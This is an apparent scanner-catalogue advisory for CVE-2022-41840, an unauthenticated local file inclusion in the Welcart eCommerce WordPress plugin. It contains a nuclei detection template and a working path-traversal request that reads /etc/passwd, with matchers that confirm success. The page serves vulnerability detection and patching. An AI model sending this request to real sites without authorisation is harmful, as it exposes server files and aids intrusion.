Welcart eCommerce <=2.7.7 - Local File Inclusion

criticalseverity

9.8CVSS score

5.7%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.

Fix

Upgrade Welcart eCommerce plugin to the latest version (>=2.7.8) or apply the provided patch to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd
Positive when: contains in header "application/json" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-41840 -u <target>

The full check

id: CVE-2022-41840

info:
  name: Welcart eCommerce <=2.7.7 - Local File Inclusion
  author: theamanrawat
  severity: critical
  description: |
    Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade Welcart eCommerce plugin to the latest version (>=2.7.8) or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability
    - https://wordpress.org/plugins/usc-e-shop/
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41840
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-41840
    cwe-id: CWE-22
    epss-score: 0.05746
    epss-percentile: 0.93127
    cpe: cpe:2.3:a:collne:welcart_e-commerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: collne
    product: welcart_e-commerce
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wordpress,wp,lfi,unauth,usc-e-shop,collne,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from